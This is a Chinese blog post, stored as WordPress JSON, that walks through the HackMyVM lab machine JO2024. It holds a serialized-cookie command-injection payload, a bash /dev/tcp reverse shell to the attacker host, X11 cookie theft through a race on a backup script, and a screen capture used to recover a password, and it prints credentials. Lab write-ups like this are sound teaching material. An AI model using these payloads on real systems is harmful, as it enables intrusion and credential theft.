{"id":785,"date":"2024-08-21T20:24:41","date_gmt":"2024-08-21T12:24:41","guid":{"rendered":"http:\/\/162.14.82.114\/?p=785"},"modified":"2024-08-21T20:24:41","modified_gmt":"2024-08-21T12:24:41","slug":"hmv-_-jo2024","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/785\/08\/21\/2024\/","title":{"rendered":"hmv[-_-]JO2024"},"content":{"rendered":"

JO2024<\/h1>\n

\"image-20240821145650356\"<\/div>
\n
\"image-20240821151337657\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/JO2024]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nNmap? More like slowmap.\ud83d\udc22\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.10.101:22\nOpen 192.168.10.101:80\n\nPORT   STATE SERVICE REASON  VERSION\n22\/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)\n| ssh-hostkey: \n|   256 e7:ce:f2:f6:5d:a7:47:5a:16:2f:90:07:07:33:4e:a9 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLuHH80SwA8Qff3pGOY4aBesL0Aeesw6jqX+pbtR9O7w8jlbyNhuHmjjABb\/34BxFp2oBx8o5xuZVXS1cE9nAlE=\n|   256 09:db:b7:e8:ee:d4:52:b8:49:c3:cc:29:a5:6e:07:35 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICKFE9s2IvPGAJ7Pt0kSC8t9OXYUrueJQQplSC2wbYtY\n80\/tcp open  http    syn-ack Apache httpd 2.4.61 ((Debian))\n|_http-server-header: Apache\/2.4.61 (Debian)\n|_http-title: Paris 2024 Olympic Games\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/JO2024]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,html,txt,bak,zip -b 301,401,403,404\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.10.101\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   401,403,404,301\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              bak,zip,php,html,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.php            (Status: 200) [Size: 7812]\n\/preferences.php      (Status: 200) [Size: 3163]\nProgress: 200913 \/ 1323366 (15.18%)[ERROR] Get "http:\/\/192.168.10.101\/vpro.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.10.101\/troops.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.10.101\/speedbar.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.10.101\/vpro.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.10.101\/vpro.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/192.168.10.101\/vpro.bak": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 237754 \/ 1323366 (17.97%)\n[!] Keyboard interrupt detected, terminating.\nProgress: 237759 \/ 1323366 (17.97%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240821151444940\"<\/div><\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/JO2024]\n\u2514\u2500$ whatweb http:\/\/$IP                                                                                                                   \nhttp:\/\/192.168.10.101 [200 OK] Apache[2.4.61], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache\/2.4.61 (Debian)], IP[192.168.10.101], Script, Title[Paris 2024 Olympic Games]<\/code><\/pre>\n
\u654f\u611f\u76ee\u5f55<\/h3>\n
http:\/\/192.168.10.101\/preferences.php<\/code><\/pre>\n
\"image-20240821151607374\"<\/div><\/p>\n
\u770b\u4e00\u4e0bcookie\uff1a<\/p>\n
\"image-20240821151655101\"<\/div><\/p>\n
\u5c1d\u8bd5\u89e3\u5bc6\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240821152051272\"<\/div><\/p>\n
TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ==\nO:15:"UserPreferences":2:{s:8:"language";s:2:"fr";s:15:"backgroundColor";s:4:"#ddd";}<\/code><\/pre>\n
\u5c1d\u8bd5\u4e00\u4e0b\u4e0d\u540c\u7684cookie<\/code>\u4f4d\u7f6e\u8bd5\u8bd5\u3002<\/p>\n
cookie \u547d\u4ee4\u6267\u884c<\/h3>\n
O:15:"UserPreferences":2:{s:8:"language";s:2:"fr";s:15:"backgroundColor";s:19:"<?php phpinfo(); ?>";}\n# \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/JO2024]\n# \u2514\u2500$ echo -n "<?php phpinfo(); ?>" | wc -c\n# 19\nTzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6MTk6Ijw\/cGhwIHBocGluZm8oKTsgPz4iO30=<\/code><\/pre>\n
\u4f46\u662f\u4e0d\u884c\uff0c\u5c1d\u8bd5\u522b\u7684\u529e\u6cd5\uff0c\u5c1d\u8bd5\u5e8f\u5217\u5316\u6ce8\u5165\uff1f<\/p>\n
\"image-20240821154029638\"<\/div><\/p>\n
\u4f3c\u4e4e\u4e5f\u5e76\u672a\u6267\u884c\uff0c\u91cd\u65b0\u8bd5\u4e86\u4e00\u4e0b\uff0c\u4f3c\u4e4e=<\/code>\u4e0d\u8f6c\u7801\u4e3a%3D<\/code>\u4e5f\u53ef\u4ee5\u6b63\u5e38\u8bc6\u522b\u3002\u3002\u3002\u3002\u3002\u8f6c\u79fb\u547d\u4ee4\u6267\u884c\u7684\u4f4d\u7f6e\uff1a<\/p>\n
O:15:"UserPreferences":2:{s:8:"language";s:6:"whoami";s:15:"backgroundColor";s:4:"#ddd";}\n# TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjEwOiJmcmB3aG9hbWlgIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ==<\/code><\/pre>\n
\"image-20240821171515831\"<\/div><\/p>\n
\u53ef\u4ee5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5c1d\u8bd5\u8fdb\u884c\u53cd\u5f39shell\uff01<\/p>\n
# \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/JO2024]\n# \u2514\u2500$ echo -n "bash -c 'exec bash -i &>\/dev\/tcp\/192.168.10.105\/1234 <&1'" | wc -c\n# 57\nO:15:"UserPreferences":2:{s:8:"language";s:57:"bash -c 'exec bash -i &>\/dev\/tcp\/192.168.10.105\/1234 <&1'";s:15:"backgroundColor";s:4:"#ddd";}\n# TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjU3OiJiYXNoIC1jICdleGVjIGJhc2ggLWkgJj4vZGV2L3RjcC8xOTIuMTY4LjEwLjEwNS8xMjM0IDwmMSciO3M6MTU6ImJhY2tncm91bmRDb2xvciI7czo0OiIjZGRkIjt9<\/code><\/pre>\n
\"image-20240821171826591\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) www-data@jo2024.hmv:\/var\/www$ cat \/etc\/passwd | grep \/bin\nroot:x:0:0:root:\/root:\/bin\/bash\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nvanity:x:1000:1000:,,,:\/home\/vanity:\/bin\/bash\ntss:x:103:111:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nlightdm:x:106:114:Light Display Manager:\/var\/lib\/lightdm:\/bin\/false\n(remote) www-data@jo2024.hmv:\/home\/vanity$ ls -la\ntotal 76\ndrwxr-xr-x 10 vanity vanity 4096 Aug 21 09:30 .\ndrwxr-xr-x  3 root   root   4096 Jul 28 12:27 ..\n-rw-------  1 vanity vanity  158 Aug 21 09:29 .Xauthority\nlrwxrwxrwx  1 root   root      9 Jul 26 18:04 .bash_history -> \/dev\/null\n-rw-r--r--  1 vanity vanity  220 Jul 29 13:48 .bash_logout\n-rw-r--r--  1 vanity vanity 3526 Jul 29 13:48 .bashrc\ndrwxr-xr-x  7 vanity vanity 4096 Jul 29 13:48 .cache\ndrwx------ 13 vanity vanity 4096 Jul 29 15:47 .config\n-rw-r--r--  1 vanity vanity   35 Jul 29 13:48 .dmrc\n-rw-------  1 vanity vanity   36 Jul 29 13:48 .lesshst\ndrwxr-xr-x  3 vanity vanity 4096 Jul 29 13:48 .local\n-rw-r--r--  1 vanity vanity  807 Jul 29 13:48 .profile\ndrwx------  2 vanity vanity 4096 Jul 29 14:40 .ssh\n-rw-r--r--  1 vanity vanity    8 Jul 29 13:48 .xprofile\ndrwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Desktop\ndrwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Documents\ndrwxr-xr-x  2 vanity vanity 4096 Jul 29 13:48 Images\n-rwxr-xr-x  1 vanity vanity  557 Jul 29 15:44 backup\ndrwx------  2 vanity vanity 4096 Jul 29 13:48 creds\n-rwx------  1 vanity vanity   33 Jul 29 13:48 user.txt\n(remote) www-data@jo2024.hmv:\/home\/vanity$ cat .dmrc\n[Desktop]\nSession=lightdm-xsession\n(remote) www-data@jo2024.hmv:\/home\/vanity$ cat backup \n#!\/bin\/bash\n\nSRC="\/home\/vanity"\nDEST="\/backup"\n\nrm -rf \/backup\/{*,.*}\n\necho "Starting copy..."\nfind "$SRC" -maxdepth 1 -type f ! -name user.txt | while read srcfile; do\n    destfile="$DEST${srcfile#$SRC}"\n    mkdir -p "$(dirname "$destfile")"\n    dd if="$srcfile" of="$destfile" bs=4M\n\n    md5src=$(md5sum "$srcfile" | cut -d ' ' -f1)\n    md5dest=$(md5sum "$destfile" | cut -d ' ' -f1)\n    if [[ "$md5src" != "$md5dest" ]]; then\n        echo "MD5 mismatch for $srcfile :("\n    fi\n    chmod 700 "$destfile"\n\ndone\n\necho "Copy complete. All files verified !"<\/code><\/pre>\n
\u770b\u4e0a\u53bb\u662f\u6211\u4eec\u60f3\u8981\u7684\uff0c\u4f46\u662f\u627e\u4e0d\u5230\u5229\u7528\u65b9\u6cd5\uff0c\u5148\u641c\u96c6\u4e00\u4e0b\u5176\u4ed6\u7684\u4fe1\u606f\uff1a<\/p>\n
(remote) www-data@jo2024.hmv:\/tmp$ echo $PATH\n\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\n(remote) www-data@jo2024.hmv:\/tmp$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/bin\/slock cap_dac_override,cap_sys_resource=ep\n\/usr\/bin\/ping cap_net_raw=ep\n\/usr\/lib\/x86_64-linux-gnu\/gstreamer1.0\/gstreamer-1.0\/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep\n(remote) www-data@jo2024.hmv:\/tmp$ file \/usr\/bin\/slock\n\/usr\/bin\/slock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=1daad7fee7f614053398b6649689adb3d9e318b2, for GNU\/Linux 3.2.0, stripped<\/code><\/pre>\n
\u4e0a\u4f20linpeas.sh<\/code>\u4ee5\u53capspy64<\/code>\uff1a<\/p>\n
\"image-20240821173754867\"<\/div><\/p>\n
\u679c\u7136\u662f\u5b9a\u65f6\u4efb\u52a1\uff0c\u770b\u6765\u5c31\u662f\u8981\u5728\u8fd9\u4e2a\u811a\u672c\u60f3\u529e\u6cd5\u4e86\uff01<\/p>\n
\u7531\u4e8e\u4e00\u822c\u6587\u4ef6\u5939\u521b\u7acb\u6743\u9650\u4e3a755<\/code>\u6216\u8005775<\/code>\uff0c\u6545\u5728\u811a\u672c\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u53ef\u4ee5\u5c1d\u8bd5\u7ade\u4e89\u51fa\u76f8\u5173\u6587\u4ef6\uff1a<\/p>\n
(remote) www-data@jo2024.hmv:\/backup$ while true; do cat .Xauthority >> \/tmp\/log 2>\/dev\/null;sleep 0.01; done\n^C\n(remote) www-data@jo2024.hmv:\/backup$ cat \/tmp\/log\ndebian11MIT-MAGIC-COOKIE-1\ufffd>7\ufffd\n\ufffdEXJ[\ufffd\ufffd\ufffdf\ufffddebian0MIT-MAGIC-COOKIE-1\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdm\ufffdlJ\ufffd\ufffd\ufffd\n\njo2024.hmv0MIT-MAGIC-COOKIE-1\ufffd\ufffdq\ufffd\ufffd\ufffd%\ufffd\ufffd\ufffd(\u0215\ufffd\ufffd\ufffd\n..............<\/code><\/pre>\n
\u6709\u5e08\u5085\u53d1\u4e86\u4e00\u4e2a\u53c2\u8003\u6587\u732e\uff1ahttps:\/\/book.hacktricks.xyz\/network-services-pentesting\/6000-pentesting-x11#screenshots-capturing<\/a><\/p>\n
(remote) www-data@jo2024.hmv:\/backup$ w\n 12:37:41 up  3:08,  1 user,  load average: 0.02, 0.07, 0.04\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nvanity   tty7     :0               09:29    3:08m  0.00s  0.08s \/usr\/bin\/lxsession -s LXDE -e LXDE<\/code><\/pre>\n
\u76f4\u63a5\u628a\u5b83\u53d6\u4fdd\u5019\u5ba1\u4e86\uff01\uff01\u4e0a\u4f20\u4e00\u4e2abusybox\uff01<\/p>\n
(remote) www-data@jo2024.hmv:\/tmp$ wget http:\/\/192.168.10.105:8888\/busybox\n(remote) www-data@jo2024.hmv:\/tmp$ chmod +x busybox \n(remote) www-data@jo2024.hmv:\/tmp$ .\/busybox xxd log\n00000000: 0100 0006 6465 6269 616e 0002 3131 0012  ....debian..11..\n00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945  MIT-MAGIC-COOKIE\n00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010  -1...>7...EXJ[..\n00000030: c6d3 6685 0100 0006 6465 6269 616e 0001  ..f.....debian..\n00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f  0..MIT-MAGIC-COO\n00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00  KIE-1........m..\n00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032  .lJ........jo202\n00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41  4.hmv..0..MIT-MA\n00000080: 4749 432d 434f 4f4b 4945 2d31 0010 a4d5  GIC-COOKIE-1....\n00000090: 7190 b1f2 25fe f8e4 28c8 959e b4f2 0100  q...%...(.......\n000000a0: 0006 6465 6269 616e 0002 3131 0012 4d49  ..debian..11..MI\n000000b0: 542d 4d41 4749 432d 434f 4f4b 4945 2d31  T-MAGIC-COOKIE-1\n000000c0: 0010 e23e 37c8 0ab2 4558 4a5b f010 c6d3  ...>7...EXJ[....\n000000d0: 6685 0100 0006 6465 6269 616e 0001 3000  f.....debian..0.\n000000e0: 124d 4954 2d4d 4147 4943 2d43 4f4f 4b49  .MIT-MAGIC-COOKI\n000000f0: 452d 3100 10f9 9d8e bcf0 f56d 8f00 036c  E-1........m...l\n00000100: 4aac edb2 0c01 0000 0a6a 6f32 3032 342e  J........jo2024.\n00000110: 686d 7600 0130 0012 4d49 542d 4d41 4749  hmv..0..MIT-MAGI\n00000120: 432d 434f 4f4b 4945 2d31 0010 a4d5 7190  C-COOKIE-1....q.\n00000130: b1f2 25fe f8e4 28c8 959e b4f2            ..%...(.....\n(remote) www-data@jo2024.hmv:\/tmp$ xauth -f log     \nUsing authority file log\nxauth> list\ndebian\/unix:11  MIT-MAGIC-COOKIE-1  e23e37c80ab245584a5bf010c6d36685\ndebian\/unix:0  MIT-MAGIC-COOKIE-1  f99d8ebcf0f56d8f00036c4aacedb20c\njo2024.hmv\/unix:0  MIT-MAGIC-COOKIE-1  a4d57190b1f225fef8e428c8959eb4f2\ndebian\/unix:11  MIT-MAGIC-COOKIE-1  e23e37c80ab245584a5bf010c6d36685\ndebian\/unix:0  MIT-MAGIC-COOKIE-1  f99d8ebcf0f56d8f00036c4aacedb20c\njo2024.hmv\/unix:0  MIT-MAGIC-COOKIE-1  a4d57190b1f225fef8e428c8959eb4f2\nxauth> \n(remote) www-data@jo2024.hmv:\/tmp$ export XAUTHORITY=\/tmp\/log            \n(remote) www-data@jo2024.hmv:\/tmp$ xwd -root -screen -silent -display :0 > screenshot.xwd\n(remote) www-data@jo2024.hmv:\/tmp$ python3 -m http.server 8888\n# kali\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/JO2024]\n\u2514\u2500$ wget http:\/\/192.168.10.101:8888\/screenshot.xwd                                                                                                                                     \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/JO2024]\n\u2514\u2500$ convert screenshot.xwd screenshot.png<\/code><\/pre>\n
\"image-20240821190914307\"<\/div><\/p>\n
\u62bd\u8c61\u3002\u3002\u3002\u3002\u3002<\/p>\n
vanity:xd0oITR93KIQDbiD<\/code><\/pre>\n
\"image-20240821191213253\"<\/div><\/p>\n
\u63d0\u6743root<\/h3>\n
vanity@jo2024:~$ sudo -l\nMatching Defaults entries for vanity on jo2024:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser vanity may run the following commands on jo2024:\n    (ALL : ALL) NOPASSWD: \/usr\/local\/bin\/php-server.sh\nvanity@jo2024:~$ cat \/usr\/local\/bin\/php-server.sh\n#!\/bin\/bash\n\n\/usr\/bin\/php -t \/opt -S 0.0.0.0:8000\nvanity@jo2024:~$ sudo \/usr\/local\/bin\/php-server.sh&\n[1] 449123\nvanity@jo2024:~$ ss -tnlup\nNetid              State               Recv-Q              Send-Q                           Local Address:Port                           Peer Address:Port              Process              \nudp                UNCONN              0                   0                                 127.0.0.1%lo:53                                  0.0.0.0:*                                      \nudp                UNCONN              0                   0                                     [::1]%lo:53                                     [::]:*                                      \ntcp                LISTEN              0                   128                                    0.0.0.0:22                                  0.0.0.0:*                                      \ntcp                LISTEN              0                   4096                                   0.0.0.0:8000                                0.0.0.0:*                                      \ntcp                LISTEN              0                   10                                127.0.0.1%lo:53                                  0.0.0.0:*                                      \ntcp                LISTEN              0                   511                                          *:80                                        *:*                                      \ntcp                LISTEN              0                   128                                       [::]:22                                     [::]:*                                      \ntcp                LISTEN              0                   10                                    [::1]%lo:53                                     [::]:* \n<\/code><\/pre>\n
\"image-20240821192049174\"<\/div>
\n
\"image-20240821192121165\"<\/div><\/p>\n
\u7136\u540e\u53d1\u73b0\uff1a<\/p>\n
vanity@jo2024:\/tmp$ wget [Wed Aug 21 13:20:40 2024] 192.168.10.103:9380 Accepted\n[Wed Aug 21 13:20:40 2024] 192.168.10.103:9381 Accepted\n[Wed Aug 21 13:20:40 2024] 192.168.10.103:9380 [200]: GET \/\n[Wed Aug 21 13:20:40 2024] 192.168.10.103:9380 Closing\n[Wed Aug 21 13:20:40 2024] 192.168.10.103:9384 Accepted\n[Wed Aug 21 13:20:40 2024] 192.168.10.103:9381 [200]: GET \/blurred-text.png\n[Wed Aug 21 13:20:40 2024] 192.168.10.103:9384 [200]: POST \/get_protected_content.php\n[Wed Aug 21 13:20:40 2024] 192.168.10.103:9384 Closing\n[Wed Aug 21 13:20:40 2024] 192.168.10.103:9381 Closing\n[Wed Aug 21 13:20:41 2024] 192.168.10.103:9385 Accepted\n[Wed Aug 21 13:20:41 2024] 192.168.10.103:9385 [404]: GET \/favicon.ico - No such file or directory\n[Wed Aug 21 13:20:41 2024] 192.168.10.103:9385 Closing<\/code><\/pre>\n
\u5c1d\u8bd5fuzz\u4e00\u4e0b\u76f8\u5173\u53c2\u6570\uff1a<\/p>\n
ffuf -c -u 'http:\/\/192.168.10.101:8000\/get_protected_content.php?FUZZ=\/etc\/passwd' -w \/usr\/share\/wordlists\/dirbuster\/directory-list-lowercase-2.3-medium.txt --fs 21 <\/code><\/pre>\n
\u4f46\u662f\u4e00\u76f4\u4e0d\u51fa\u6765\uff0cF12\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240821200537136\"<\/div><\/p>\n
e2bf095dd5279a3125fe325c9465fd7a6eca386c30d306c11bcdb79306064b35<\/code><\/pre>\n
\"image-20240821201445369\"<\/div><\/p>\n
\u670d\u4e86\uff0c\u5728\u8fd9\u3002\u3002\u3002\u3002<\/p>\n
vanity@jo2024:\/tmp$ su root\nPassword: \nroot@jo2024:\/tmp# cd ~\nroot@jo2024:~# ls -la\ntotal 36\ndrwx------  5 root root 4096 Jul 29 16:18 .\ndrwxr-xr-x 19 root root 4096 Jul 29 16:04 ..\nlrwxrwxrwx  1 root root    9 Mar  9 14:31 .bash_history -> \/dev\/null\n-rw-r--r--  1 root root  571 Jul 29 13:48 .bashrc\ndrwx------  2 root root 4096 Jul 29 13:48 .cache\n-rw-------  1 root root   20 Jul 29 13:48 .lesshst\ndrwxr-xr-x  3 root root 4096 Jul 29 16:17 .local\n-rw-r--r--  1 root root  161 Jul 29 13:48 .profile\n-rwx------  1 root root   33 Jul 29 13:48 root.txt\ndrwx------  2 root root 4096 Jul 29 13:48 .ssh\nroot@jo2024:~# cat root.txt \ncbd60dab37bc85e1f7ea4b5c9c4eed90\nroot@jo2024:~# cd .local\/\nroot@jo2024:~\/.local# cat error.sh \n#!\/bin\/bash\n\nrm -f \/home\/vanity\/.xsession-errors*<\/code><\/pre>\n
\"image-20240821201804737\"<\/div><\/p>\n
\u62ff\u4e0broot\uff0c\u5b8c\u7ed3\u6492\u82b1\uff01<\/p>\n
\"image-20240821201829434\"<\/div><\/p>\n
\u5168\u662f\u81ea\u5df1\u4eba\uff0c\u54c8\u54c8\u54c8\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
JO2024 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/JO2024] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-785","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/785","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=785"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/785\/revisions"}],"predecessor-version":[{"id":786,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/785\/revisions\/786"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=785"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=785"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=785"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}